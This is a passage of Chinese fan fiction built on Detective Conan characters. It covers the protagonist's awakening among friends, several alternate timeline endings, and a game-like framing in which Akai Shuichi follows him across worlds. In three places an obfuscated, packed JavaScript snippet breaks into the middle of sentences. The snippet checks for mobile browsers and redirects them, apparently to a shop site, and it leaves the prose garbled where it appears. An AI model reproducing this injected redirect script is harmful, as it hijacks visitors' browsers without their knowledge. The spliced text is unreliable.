那些记忆填满了他。那些正在消失的部分被重新填满了。他的手不再透明,他的脚踩在地面上,灵魂飘在天空里。他能感觉到自己的心跳,一下,两下,三下——平稳有力。 诸伏景光松开他,看着他。 “还觉得累吗?”他问。 森川海低下头,看着自己的手。 那只手还在发抖。太多了,那些记忆太多了,那些日子太多了,那些人也太多了。 “累。”森川海如实说,“但好像……没那么累了。” 诸伏景光笑了。 “那就走吧。”景光语气轻松,“他们在等你。” 罅隙里出现了一道门。 暖黄色的,像黄昏的光,像安全屋窗户透进来的光。门上没有把手也没有锁,它只是一道光组成的轮廓。但森川海知道,门那边是他要去的地方。 他站在门前没有动。 “怎么了?”诸伏景光问。 森川海沉默了一会儿。 “如果我出去之后,”他说,“又变成普通人了呢?” “那就变成普通人。” “如果我救不了你们呢?” “那就再试一次。” “如果这一次也失败了呢?” 诸伏景光看着他。 “那就下一次。”他说,“反正我们有的是时间。” 森川海愣住了。 他想起那个跪在光里说“一切”的自己。那个自己什么都没有,只有一条命和一腔孤勇。那个自己以为一次就够了,以为只要足够努力就能成功。那时他不知道要试多少次,不知道要死多少回,不知道要忘记多少人。 但如果那个自己知道呢?如果他知道,知道所有的牺牲和痛苦,知道所有的分别和泪水—— 他还是会答应的。 “你这话,”森川海半真半假地抱怨,“怎么这么会安慰人啊,hiro,我要爱上你了。” 他伸出手推开门,光涌进来,像无数双手同时接住他,把他从那个灰白色的罅隙里托起来。他听见很多声音。松田阵平、萩原研二、诸伏景光……还有更多更多。他认识或者不认识,救过或者放弃过,他爱的一切。 他们在喊他的名字。 森川海睁开眼睛。 天花板是灰白色的,有一道裂缝从墙角延伸到灯座旁边。很熟悉,这是他安全屋的天花板。他在这下面醒过很多次,每一次都以为自己会死,每一次都没有。 但这一次有什么不一样。 这一次,床边围着一圈人。 一圈人。 森川海眨了眨眼,怀疑自己还在做梦。 松田阵平靠在床头柜上,双手插在口袋里,卷毛乱糟糟的,脸上挂着“你终于醒了”的表情。他穿着一身黑西装,墨镜搭在胸前口袋里,见森川海睁开眼忙给萩原研二使眼色。 萩原研二坐在床边的椅子上,一只脚翘着,笑眯眯地看着他。他头发比记忆里长了一点,搭在肩上,整个人散发着“我什么都知道但我不说”的慵懒气质。 ……到底在知道什么! 诸伏景光站在床尾靠窗的位置,阳光落在他侧脸上,把那双蓝眼睛照得很亮。他穿着浅色的毛衣,整个人看起来很温柔——就是有点太温柔了,感觉要偷摸着干坏事。 降谷零站在景光旁边靠着窗框,袖子卷到手肘露出一截精瘦的小臂。金发被阳光镀上一层淡金色,紫灰色的眼睛看着森川海。 伊达航站在最边上,靠着墙,牙签叼在嘴里,见森川海看过来点了点头。 五个人都在。 但是人好像有点多。 那个多出来的人站在床的另一侧,黑色的衣服,黑色的长发,绿色的眼睛,没有伪装也没有眯着眼笑,就那样看着他。 赤井秀一。 为什么这里有赤井秀一? 森川海愣住了。 “别的都算了,”他刚醒过来的声音有点哑,但那股震惊压都压不住,“为什么赤井秀一也在这里?!” 松田阵平第一个开口。他嗤了一声,头往赤井秀一那边撇了撇:“别问我。这家伙自己跟过来的,我们可没叫他。” 萩原研二在旁边点头,笑得眼睛都弯了。 “对,跟我们没关系。他自己非要来。我们拦都拦不住。” “是呢,从伦敦跟到东京,我们也很意外。”诸伏景光的声音很温和,像在调侃。 降谷零的目光从森川海身上移到赤井秀一身上,又移回来,什么都没说,但那个表情——森川海读懂了,那是“我看你怎么解释”。 伊达航耸了耸肩:“反正多一个也不多。” 森川海还没来得及反应,赤井秀一已经开口了。他的声音很低,带着那股森川海熟悉的让人恨得牙痒痒的从容。 “莫尼科,我很想你。” 森川海的脸僵住了。 “你昏迷的时候我一直守着你。” “……” “你醒了我很高兴。” 森川海的表情开始扭曲。 “你不知道我有多担心你——” “求你了。”森川海抬起手挡住脸,“求求你叫我森川海。” 为什么一定要当面扒他马甲?森川海从未感到如此绝望,这是什么很光彩的事吗? 赤井秀一绿色的眼睛里全是笑意,摆明了什么都知道但一定要演,这人蔫坏。 “好吧,那就是森川海。”赤井秀一说,声音还是那么从容,“我很想你。” 松田在旁边发出一声意味不明的嗤笑,萩原扶着幼驯染直接笑出了声。景光扒拉着表情很复杂的降谷零,看姿势是在防止金毛爆冲,爆冲的金毛一脸扭曲,像是想笑又不想让赤井秀一得意。伊达航把牙签从左边换到右边,什么都没说,但那个表情——森川海懂,那是在看热闹。 森川海把脸埋进手里。 “太尴尬了。”他的声音闷闷的,“让我死一会儿。” “别死了。”松田阵平说,“死了我们还得捞你。” 萩原研二凑过来,手撑在床边,离他很近: “有什么可尴尬的?反正你做了什么我们都知道了。” 森川海从手指缝里看他。 “什么意思?” 诸伏景光在床边坐下。他离森川海很近,近到能闻见他身上淡淡的洗衣液味道。 “你做的那些事,”诸伏景光说,“我们互相沟通了一下。” 森川海的手从脸上放下来: “互相沟通了一下?” “对。” 景光说出了你的过去,我们拼凑出你的现在,赤井秀一补充了你的其他时间。我们终于知道你为了所有人的Happy Ending做了什么、付出了什么,第一次知道你这样辛苦。 也知道你有多爱我们,知道要以怎样的爱来回馈。 降谷零看了一眼赤井秀一:“这个FBI……说了你在纽约的事。” 所以为什么要做MI6,umi,好在意啊。 森川海眨了眨眼:“所以你们……” “对。”萩原研二笑着接话,“信息互通了。你怎么当调查员的,怎么救我们的,怎么死了一次又一次的——我们都知道了。” “那其他的呢?”森川海追问,“组织、情报……” “umi。”降谷零温和地打断了他,“那是我和hiro会去做的事。” 森川海沉默了一会儿。他看着他们,他毕生的好友,还有那个靠在墙边的幼驯染。 他们都看着他。目光里没有同情也没有怜悯,没有让人不舒服的“你好可怜”。只是看着,像在等他说点什么。 “……也行。”森川海说,“也算好事。” 萩原研二笑了,他伸手揉了揉森川海的头发:“这就对了。别想太多。” 森川海被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259084|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉得低下头。 “不过……” 松田走过来在床边坐下,床不大,他这一坐两个人就离得很近,腿几乎贴在一起。松田阵平侧过脸看着森川海,“既然你都醒了,”他说,“有些事得问清楚。” 森川海深吸一口气。 虽然早就预料到了这一刻,但它真正到来时还是会让人害怕。说实在的他身上有太多不合常理的地方,没有在暴露后第一时间被抓去盘问已经是出乎意料 “什么事?” 松田还没开口,萩原研二就抢话了:“比如——你那个名字。” “什么名字?”森川海愣了一下。 “umi酱。”萩原研二笑眯眯地说,“森川海,海酱,umi酱。很可爱啊。” 森川海的脸又开始扭曲: “你们能不能——” “不能。”松田直接打断他,“这个问题很重要。” “哪里重要了?!” “哪里都重要。”诸伏景光温和地补刀,“我们讨论了挺久的。” 森川海转过头看hiro,那双蓝眼睛笑眯眯的,完全没有要帮他的意思。 降谷零和松田一左一右,把森川海夹在中间。金发垂下来,紫灰色的眼睛看着他,那种目光——森川海的心跳又快了一点。 “还有一个问题。”降谷零说。 森川海警惕地看着他。 “什么?” “一定要问吗?”萩原研二笑眯眯的,“我倒是无所谓啦,但这种问题对你们来说不会太羞耻了吗?” “对。” “一定要问。” “我猜觉得羞耻的应该会另有其人。” “你们到底在说什么啊!”森川海看上去要爬走了,“到底在说什么怪话!” “当然是我们之中你最喜欢谁?”萩原研二托着下巴。 森川海僵住了。 房间里安静了一秒,萩原研二举手:“我押我自己。” 松田阵平嗤了一声:“你押你自己有什么用。” “这个问题可能没有答案。”诸伏景光在和降谷零嘀嘀咕咕,伊达航听见了,在边上慢悠悠地开口:“有答案也得他自己说。” 赤井秀一靠在墙上看着这一切。他的嘴角可疑地上移了一毫米,森川海看见了,森川海把求救的目光投向赤井。 赤井秀一看着森川海,那双绿色的眼睛里有一点光——不像什么好兆头。然后他开口了,声音还是那么从容:“你知道我等了多久吗?” 森川海的目光迅速移开。 森川海转头看天花板看窗户看墙角那道裂缝,看什么都行,就是不看赤井秀一。 萩原笑得前仰后合:“他不看你了!” 景光轻轻地笑出声:“这个问题可以留着慢慢问。” 赤井秀一没有动,靠在墙上看着森川海移开目光的样子。“我记着了。”他说。 森川海把脸埋进手里:“让我死吧。” “不行。” “驳回。” “忍忍。” “习惯就好。” “我觉得他们说得对。” 森川海从手指缝里看他们。 六个人,很热闹的氛围。森川海忽然觉得眼眶有点热。 “你们……”森川海开口,声音有点哑。 “嗯?” “没什么。”他说,“就是想说,谢谢。” “谢什么。”诸伏景光伸出手拍拍他的肩,“应该我们谢你。” “以后别一个人了。” “有事叫我们。” “反正别让我们又等到下个时间。” 森川海看他们,但这群人的数量是碾压式的,他被围起来盯着不知道看哪才好。松田阵平的声音响起来,打破了微妙的气氛: “行了行了,别看了。再看眼睛要酸了。” 萩原在旁边笑:“小阵平你是不是吃醋了?” “谁吃醋了?!” “你。” “我没有。” “你有。” “hagi你闭嘴。” 森川海看着他们拌嘴,嘴角弯起来。 赤井秀一还是靠在墙上,但他已经不再看森川海了。他在看那些人,那些和森川海有关的人,像在评判什么。 “也行吧。”赤井秀一说。 阳光从窗外照进来,落在他们身上。 松田和萩原还在拌嘴,景光在中间打圆场。降谷零偶尔插一句,每次都能让松田更生气。伊达航在边上看着,时不时添句乱。赤井秀一站在边上,和这一切保持着一点距离,但偷偷摸摸地往森川海床上移。 降谷零看出来了这个FBI的动作,不动声色地挤进森川海和赤井秀一之间,咬牙切齿地问FBI想干什么。 赤井秀一举起手:“我只是想问莫尼科饿不饿。” “我应该饿吗?”森川海真诚发问。不怪他,这里人太多了,他很难端好水。是时候献祭一个幼驯染了,谢谢你Akai我会永远怀念你的。 “我不知道。”降谷零看上去很幽怨,“到底为什么是MI6……” 还是好在意啊! 森川海:“……” “那我当FBI你又不乐意!” “真当FBI吗?我同意。” “等等umi酱你快拦一下这个zero啊他看上去想把你幼驯染杀了!” “这样说不是更生气了吗!” 森川海趁乱蛄蛹出去,扒拉开挡路的人就往外跑,推开门时被明亮的日光晃了下眼,下意识停住脚步。 ——满庭院都是樱花。 春天到了啊。 今天是多么阳光明媚的天气。 37.Our Best Ending 森川海睁开眼。 天花板是白色的,有几道细小的裂缝从墙角延伸出来。阳光从窗帘的缝隙里透进来,在地板上投下一道细长的光。空气里有淡淡的灰尘味,还有窗外传来的、模糊的城市噪音。 他躺在那里没有动。 脑子里很乱。那些记忆,那些时间线,那些他爱过的人和恨过的人——它们像潮水一样涌过来,又退下去,再涌过来。他闭上眼睛,深吸一口气,想让自己平静下来。 但平静不下来。 因为他刚刚做了一个决定。 在时间的罅隙里,他曾经想过要把所有的时间线收束起来,让它们汇成一条,变成一个统一的结局。一个所有人都活着的结局,一个所有人都幸福的结局,一个完美的、圆满的、再也不用重来的结局。 那是他最初的目标。从那个跪在光里说“一切”的普通人开始,他的目标就一直是这样。 但现在,躺在那里,看着那道从窗帘缝隙里透进来的阳光,他忽然想—— 那样真的对吗? 明明这样的结局对所有人都不公平。 每一条时间线都是真的。每一个他都是真的。那些人,那些感情,那些好的坏的所有的一切——它们不需要被收束也不需要被统一,不需要被塞进一个所谓的“完美结局”里。 它们只需要继续。 继续存在、继续活着、继续走下去。 …… 布伦尼文靠在安全屋的窗边,看着外面灰蒙蒙的天空。 又下雨了。他总是记不住欧洲的天气。有时候出门时是晴天,走到半路就被淋成落汤鸡。琴酒从来不提醒他,只会站在门口看着他湿透的衣服,说一句“蠢货”,然后把毛巾扔过来。 他们已经这样过了很多年。 布伦尼文有时候会想,自己是怎么从一个任务失败的弃子,变成琴酒的固定搭档的。他不记得了。他只记得那次任务是琴酒帮的忙,Top Killer没有换掉他,只是看了他一眼,说“下次别拖后腿”,然后就一直用到现在。 “下次”变成了一次又一次,变成了无数个任务和无数个这样的雨天。 琴酒从里面走出来,站在他旁边。 “发什么呆。” “没有。”布伦尼文说,“看雨。” 琴酒没说话。他点了根烟,靠在窗框上,也看着外面。 两个人就这样站着。一个银发,一个茶褐色头发,一个抽烟一个发呆。窗外是细密的雨,窗内是沉默的两个人。 过了很久,布伦尼文开口: “琴酒。” “嗯。” “我们这样算不算狼狈为奸?” 琴酒转过头看他。那双绿色的眼睛里有一点很淡的东西,像是笑意,又像是别的什么。他没说话,但布伦尼文好像知道了答案。 “那就继续狼狈为奸吧。”布伦尼文说。 琴酒没有回答,只是把烟递过来。布伦尼文接过去抽了一口,呛得直咳嗽。琴酒把烟拿回去,在他脑袋上拍了一下。 雨继续下,他们继续站着。 狼狈为奸也好,逍遥法外也罢,反正他们在一起。 …… 森川和也站在警视厅的天台上,看着下面那座逐渐安静下来的城市。 组织覆灭的消息已经传遍了。新闻里在播,报纸上在写,有人在欢呼也有人在哭泣。正义的一方赢得胜利,故事结束了。 但我们的故事还在继续。 “结束了。”松田说。 “嗯。”森川和也应了一声。 “你妈妈的案子也破了。”伊达航说,“卡慕抓到了。” 森川和点了点头,他说不出话来。萩原研二走过来,把手搭在他肩上。 “想哭就哭。” 森川和没有哭。他只是站在那里,看着远处。夕阳正在落下去,把整座城市染成金色。 降谷零走过来,站在他旁边。 “以后呢?”零问,“有什么打算?” 他们这些近距离接触组织的人还暂时不能恢复身份,森川和想了想,意外发现自己竟然没什么迫切去做的事。 和以前不一样了啊。 “不知道。”森川说,“可能是继续当警察吧。” “废话。”松田阵平戴着墨镜装酷,“不当警察你还能干什么。” 诸伏景光笑了。 “还是和以前一样嘛。”他说,“被松田骂了呢,小和也。” 森川和也笑了。 他看着这些和他一起走过无数个日夜的人,想着这应该就是他的结局了。 站在光里,和这些人一起。 …… 莫尼科站在泰晤士河边,看着河水缓缓流淌。 伦敦的天气还是老样子。阴天,多云,偶尔飘一点雨。风吹过来,带着河水的腥味和城市的嘈杂。他就站在那里,穿着一件黑色的旧风衣,手插在口袋里,什么也没想。 身后有脚步声。 莫尼科没回头。 那个人走到他旁边,也靠在栏杆上,和他一样看着河。 两个人沉默了很久。 “你瘦了。”赤井秀一说。 “你也是。”莫尼科说。 “任务?” “嗯。” “危险吗?” “有点。” 赤井秀一没再问。他只是伸出手,握住了莫尼科垂在栏杆上的手。那只手很凉,但握了一会儿就暖了。 “还走吗?”赤井秀一问。 莫尼科沉默了一会儿。 “我不走了。”他慢慢道,“反倒是你……” 赤井秀一转头看他。 莫尼科也转过头。 两个人对视着,绿色的眼睛和深蓝的眼睛,中间隔着一整个泰晤士河,又像什么都没隔。 “我找了你很久。”赤井秀一说。 “我知道。” “以后还要找吗?” “看你表现。” 莫尼科想起很多年前,在另一个伦敦和另一条河边,和这个人一起分享一盒薯条的日子。那时候他不知道自己要去哪,不知道这个人会等他多久。 现在他知道了。 莫尼科反握住赤井秀一的手。 “走吧。”他说,“回家。” 他们转身,离开河边,走进伦敦细密的雨雾里。 …… 莫妮卡从梦中醒来。 她做了个梦。梦里有一间白色的房间,有穿白大褂的人走来走去,有冰冷的器械贴在身上。还有琴酒冷漠的眼睛,看着她的样子像看一个物件。 她坐起来,出了一身冷汗。 “做噩梦了?” 贝尔摩德——莎朗的声音从旁边传来。她转过头,看见那个女人靠在床头,正看着她。 “……嗯。”莫妮卡说。 莎朗没说话,伸出手把莫妮卡揽进怀里。莫妮卡把脸埋在她肩上,闻见妈妈身上的香水味,和记忆里一样。温暖,安心,属于她们的家。 “梦见什么了?”莎朗问。 “梦见实验室。” 莎朗的手在她背上轻轻拍了拍。 “都过去了。”她说,“我们在外面了,不在那里了。” “我知道。”莫妮卡的声音闷闷的,“但有时候还是会梦到。” 莎朗没说话。她只是抱着自己的孩子,抱得很紧。窗外有鸟叫声传来,阳光从窗帘的缝隙里透进来,在地板上画出一道金线。 莫妮卡从她怀里抬起头,看着那道光。 “妈妈。” “嗯?” “我们会一直在这里吗?” 莎朗看着她:“你想在这里吗?” “想。”莫妮卡没有犹豫,“只要是和你一起。” 莎朗笑了,温柔又美丽的像一场梦,眼睛里有什么东西在发光。 “那就一起。”莎朗说。 莫妮卡躺回去,靠在贝尔摩德身边。阳光越来越亮,把整个房间都照暖了。 …… 森川海…… 森川海在养猫。 森川海加入了三花猫受害者联盟。 小孩很聪明也很懂事,但稍不注意就会给他捅个大篓子回家。两只三花猫一起看着你,谁能狠下心训猫? 反正森川海是做不到。 “赤井秀一为什么又来找你?”宫野志保语气充满警惕,“他到底冲谁来的,你还是姐姐?” 森川海:“……” 宫野志保已经是少女的样子了,长高了不少,带着女孩青春期特有的清瘦和傲气,脸上却是“如果他再骚扰你们我就下药把他毒死”的表情。 谢谢你,志保,但是赤井秀一非得死吗? …… 那些画面从森川海脑海里闪过——布伦尼文和琴酒站在窗边看雨,森川和也和同期们站在天台上看夕阳,莫尼科和赤井秀一牵着手走进伦敦的雨雾里,莫妮卡靠在贝尔摩德怀里醒来,宫野姐妹在美国和亲人一起生活。 每一条时间线都在继续,每一个人都在活着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Ending:五星好评】——你终于明白,有些结局不需要选择。 森川海看着那最后一条,愣了一会儿。 五星好评。 他什么时候打出这个结局的?他不记得了。 但他想起那些画面,也想起那些他曾经拼命想要抓住的东西。 森川海思索片刻,移动鼠标,在游戏评价那里点了一下。 五星。 然后他靠在椅背上,心满意足地看着那些成就和结局。密密麻麻的,像他走过的那无数条时间线,每条线都有它的意义。 挺好的,森川海想。 然后他愣住了。 等一下。 森川海坐直身体,盯着屏幕,一条一条往下看。 成就里没有“恋爱达成”这一类,一条都没有。 玩家垂死病中惊坐起。 “搞了半天,”森川海盯着屏幕,声音都变了,“我搞了半天,死了那么多次,读了那么多次档,救了那么多人,被那么多人救——” 他深吸一口气。 “为什么我还是没谈上恋爱?!” 森川海扑向鼠标,试图把五星改成零分。 鼠标点不动——评价已经提交了,无法修改。 森川海试了十几次,重启游戏再试,还是不行。 “破游戏!!!” 他的声音在房间里回荡,没有人回应他。 森川海瘫在椅背上,生无可恋地看着天花板,一动不动,像一条被晒干的咸鱼。 就在这时,手机响了。 他拿起来看了一眼。 一条新消息。 【新任务:调查员编号#0221,请于三日内抵达伦敦,坐标已发送。】 【任务详情:待解锁】 【任务等级:A】 【预计时长:未知】 【备注:记得带伞】 森川海盯着消息看了很久。 伦敦,又是伦敦。 他想起泰晤士河边的风,伦敦细密的雨,还有站在雾里问他“你叫什么名字”的人。 也许这次能遇到呢。 森川海站起来,把旧风衣披在身上,口袋里装着枚二十面骰,硌着他的腿。他走到门口,回头看了一眼那台电脑,屏幕上还亮着那个五星好评的页面。 “算了,”森川海说,“五星就五星吧。” 38.Our Best Ending 伦敦的雨从不迟到。 它说来就来,没有任何预告也不会和人商量。前一秒还是阴天,后一秒就变成湿漉漉的一片。雾也跟着凑热闹,从泰晤士河面上慢慢升起来,和雨混在一起,把整座城市裹进一层灰白色的纱里。路灯早早亮了,在雾气中晕开一圈圈昏黄的光,照不远,只能照亮自己脚下那一小块湿漉漉的地面。 一个穿着旧风衣的年轻人快步走过街角。 他的风衣是深棕色的,领子竖起来遮住半张脸。雨水顺着帽檐滴下来,年轻人懒得擦,只是低着头,眼睛盯着前方三米内的地面——那是雾里能看清的极限。右手插在口袋里,口袋里有一张折皱的纸,上面画着一些他看不懂但必须找到的东西。左手提着一个旧皮箱,箱子边缘磨得发白,看起来跟了他很多年。 他走得很快。不是因为冷,是因为必须在午夜之前赶到那座教堂。午夜之后,那些东西会出来。他不想在午夜之后还在外面。 街角忽然转出一个人。 那个人穿着黑色的长款风衣,和他一样竖着领子,但姿态完全不同。他不是低着头赶路,而是微微侧着头,像是在看什么。 他在看森川海。 两个人差点撞上。森川海往旁边让了一步,那个人也往旁边让了一步。森川海往另一边让,那个人也往另一边让。森川海停下脚步,抬起头。 雾里看不清那张脸,只看见一双绿色的眼睛,和嘴角一点若有若无的弧度。 “抱歉。”那个人说。声音很低,带着点苏格兰口音,语气里没什么歉意。 事已至此,作为一个调查员,森川海决定: A.丢个技能 B.过个妙手 C.逃跑 D.san check 森川海哪个都不选,森川海决定过个魅惑。 骰子在掌心转了几圈,落下来。 二十。 大成功。 诶? 森川海愣了一下。他看着那个人,那个人也看着他。那双绿色的眼睛在雾里很亮,像两颗被雨水洗过的宝石。 “你叫什么名字?”那个人问。 森川海没回答。 “我叫赤井秀一。”那个人说,“是FBI。” 森川海眨了眨眼。FBI在英国追着他一个赶路的人跑?他没时间处理这种事,转身就走。 走出去几步,他听见身后的脚步声。 赤井秀一跟上来了。 森川海加快脚步,身后的脚步声也加快。他停下,身后的脚步声也停下。他转身,那个人站在雾里,隔着几米看着他,那双绿色的眼睛还在发亮。 “你跟着我到底要干什么?” “顺路。”赤井秀一说。 “你知道我去哪?” “不知道。” “那你怎么知道顺路?” 赤井秀一看着他,嘴角的弧度又出现了:“直觉。” 森川海深吸一口气。他决定不理这个人,转身继续走。 身后的脚步声继续跟。 他走进一条小巷,赤井秀一跟进小巷。 他穿过一个市场,赤井秀一穿过市场。 他翻过一道矮墙,赤井秀一翻过矮墙,动作比他漂亮。 再也不随便过魅惑了! 他钻进一栋废弃的楼房,从后门出去,绕了一大圈,最后躲进一家二十四小时营业的咖啡店,在咖啡店坐了二十分钟,喝了一杯很难喝的咖啡,确认没有人跟上来才重新出门。 教堂在另一个区。他绕了远路,走了一个多小时,到的时候天已经快黑了。他站在教堂门口,刚要推门,身后传来一个声音。 “我说了顺路。” 森川海猛地转身。 赤井秀一站在他身后,风衣上全是雨水,头发湿透了贴在额头上。他的呼吸很平稳,完全不像是追了一个多小时的样子。他就那样站着,看着森川海,眼神和之前一模一样。 “……你怎么找到我的?” “直觉。” “你骗鬼。” 赤井秀一没有回答,只是走过来站在森川海旁边,和他一起看着那扇教堂的门。 “里面有东西。”他说。 “我知道。” “你一个人?” “对。” “我陪你进去。” “不用。” “我已经来了。” 森川海看着他。他想起那颗骰子和大成功,想起这个人从街角冒出来之后的种种: “你到底想干什么?” “不知道。”赤井秀一看着他。那双绿色的眼睛在昏暗的光线里很深,“就是想跟着。” 森川海沉默了。 他推开门走进去,赤井秀一跟在后面。 教堂里很暗。有什么东西在深处蠕动。森川海拿出他的工具开始工作,赤井秀一站在旁边,安静地看着。 “你不用帮忙。”森川海说。 “我知道。” “那你站着干什么?” “看着。” “……” 看人工作吗?森川海的手顿了一下。好想打人。 “……你别说话。” 赤井秀一便没再说话。但他继续看着,眼睛在黑暗里亮得过分,看得森川海浑身不自在。 任务完成的时候,已经是凌晨三点。森川海走出教堂,赤井秀一跟在后面。 “结束了?”赤井秀一问。 “结束了。” “那你去哪?” “下一个地方。” “我跟你一起去。” 森川海停下脚步,转过身。 “听着,”森川海说,“我不知道你是谁,不知道你为什么跟着我,也不知道那个大成功到底是怎么回事。但我的工作很危险,而且我得一个人做,你不能跟着。” 赤井秀一看着他:“我跟着你一个月了。” “什么?”森川海愣住了。 “从你到伦敦的第一天。”赤井秀一说,“我就跟着你了。” “……” “你一直没发现。” 森川海想反驳,但他发现自己确实没发现。他低头看了看自己的骰子。 “……破骰子。” 森川海转身就走。 赤井秀一继续尾随。 接下来的日子,森川海过上了被跟踪的生活。 他去调查废弃的精神病院,赤井秀一跟着。他去追踪一只不该存在的生物,赤井秀一跟着。他去和危险的邪教徒谈判,赤井秀一跟着。他被一群怪物追着跑,赤井秀一跑得比他还快,还有空扭头问他“累不累”。 一直在挑衅他。 森川海试过所有办法。 打他。赤井秀一躲开说“你打不过我”。 逃跑。赤井秀一追上来说“你跑的有点慢”。 骂他。赤井秀一点头赞同“你说得对”。 求他。赤井秀一看他一眼说“不行”。 威胁他。赤井秀一笑了,说什么“你威胁人的样子挺可爱”之类的怪话。 森川海麻了。 算了。他想。反正这个世界的任务快做完完了,做完他就去下个世界,这个人总不能再跟着。 他错了。 他刚到新世界第三天,就看见了那个熟悉的黑色风衣。 “……你有完没完?” 赤井秀一站在他面前,表情很平静。 “你那个骰子,”他说,“魅惑是永久的。” 森川海低头看自己的骰子。那枚二十面的骰子在掌心静静地躺着。 破骰子! 再也不过魅惑了! 下下个世界。他走进一家小酒馆,想喝杯酒冷静一下,刚坐下旁边就坐了个人。 又是赤井秀一。 “……你能不能换个地方坐?” “不能。” “为什么?” “这里视线好。” 森川海转头看酒馆。人很少,空位很多。 “视线好什么?” 赤井秀一看着他:“看你的视线好。” 森川海把脸埋进手里:“让我死。” “不行。”赤井秀一说,“死了就看不到了。” 森川海麻木了,真的麻木了。他开始习惯旁边有个穿黑风衣的人跟着,习惯每天被人盯着看,习惯那个人偶尔递过来的热咖啡和“累不累”“饿不饿”“冷不冷”三连问。 他甚至开始习惯那个人站在旁边,什么都不说,只是看着。 “你是不是有什么毛病?”有一天他问。 “可能有。”赤井秀一说。 “什么毛病?” “看到你就想跟着的毛病。” 森川海不知道该说什么。算了,跟就跟吧,反正下个世界就结束了。 然后下个世界没有结束,再下个世界也没有。 再再下个世界也没有。 那个人像鬼一样走哪跟哪。森川海被迫接受现实,反正活干完了他就跑,这个人就算能一直追——不会真一直追吧? 直到有一天,他走进一个新的世界。 好消息是这里没有赤井秀一。 坏消息是这里等他的人更多。 五个人。 我是什么Boss需要组团刷吗?森川海没招了,他看着这些人很想问他们到底干嘛,但又知道问了也没答案。太让人挫败了。森川海把自己的头发揉的乱七八糟,郁闷地靠着墙叹气。 这群人比赤井秀一还烦,跑也跑不掉赶也赶不走,森川海绝望地躺下来看着天空,耳边是七嘴八舌的骚扰。他们、完全、没有礼貌的,不仅知道自己名字还喜欢揭短,喊着什么友情啊羁绊啊就冲了上来,根本不管森川海是怎么想的! 更可怕的是他们简直不是人。 字面意思。 上一次的任务是去一栋闹鬼的老宅取日记——天知道这些世界的重要NPC为什么都有写日记的习惯,怪物都爬到眼前了还在写写写。 但至少不用过灵感。 森川海小心谨慎地观察周围环境时,那群比格横冲直撞地扑进门;森川海正要借着煤油灯的光线过侦查,比格拿手电筒乱晃干扰视线。 “我不是锁门了吗?”森川海的话里带着淡淡的死意。 “原来门是锁上的,我说怎么费那么大劲才踹开。”松田阵平若有所思。 ……天啊你是什么品种的大猩猩! 森川海从来没有这样怀疑人生过。他费劲巴拉掷骰子还不一定能成功得到的线索,比格们吵吵闹闹的就发现了。怪物从黑暗里冲出来,森川海san check掉了四点san值,旁边的比格好端端的一点事没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259086|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,还帮忙把怪物踹飞了。 你们完全不做人的吗? 这群比格跟了他四个世界才被甩掉,看着空无一人的身后,森川海久违的有点失落。 虽然那群家伙确实很吵,但这样突然的安静还是让人有些不适。 后来是琴酒。 见到他的第一面森川海就果断过灵感,虽然没了记忆但本能还在,森川海又不想死。 还好过了灵感。 这个男人太可怕了,别人跟着他森川海还能赶人,琴酒跟着他森川海只能祈祷,求这个人是心血来潮,求这个人赶紧走。 但这个人一直看着他。 他不说话,沉默地站在离森川海不远不近的地方,有时会点燃一支烟,眼睛里是森川海看不明白的东西。 “你会死吗?”琴酒问。 森川海擦着身上的血,想也不想:“当然会。” 琴酒没说话。但从那一天后,他开始帮忙。 他还是那样,冷冷的,在森川海犯错时会嘲讽他“蠢货”,在森川海露出笑容时满脸嫌弃。但在森川海san check大失败时是琴酒拖着他离开,怪物追上来时也是琴酒开枪。 枪响时森川海吓一激灵,还以为这个人终于打算杀人灭口。但发现倒下的不是他后又放平了心态,开始思考琴酒的枪为什么对怪物有用。 思考许久,森川海觉得琴酒和其他人是一伙的。 “和谁?”琴酒问。 一串名字从森川海脑海中闪过,最后森川海挑了个最烦人的:“赤井秀一。” 琴酒冷笑一声。 后来在欧洲的一座小城,森川海遇见了一个有着一头金发的美丽女人。 “莎朗。”她说,“叫我莎朗。” 莎朗并没有停留太久,她看着森川海的脸,像在怀念别的什么人,蓝色的眼睛里是森川海看不懂的东西,潮湿又温柔。 “你长得像我的女儿。”莎朗说。 森川海愣住了。 “女儿?” “她死了。”莎朗说,“很久以前。” …… 森川海看着他们。 他想,这群人到底是谁? 一个世界是这样,两个世界是这样,三个世界还是这样。他去哪他们跟到哪,他遇到危险他们挡在前面,他完成任务他们等在旁边。他不知道他们的名字,不知道他们为什么来,不知道他们什么时候会走。 但他们就是在那儿。 一直。 一直到现在。 森川海睁开眼。 原来是这样,他想。原来他们做了这些。 在他以为自己一个人独行的路上,背后是沉默的同伴。那些他失去的记忆里还有其他人的存在,在森川海不知道的地方,他们为了让他回来又穿过了多少世界和时间? 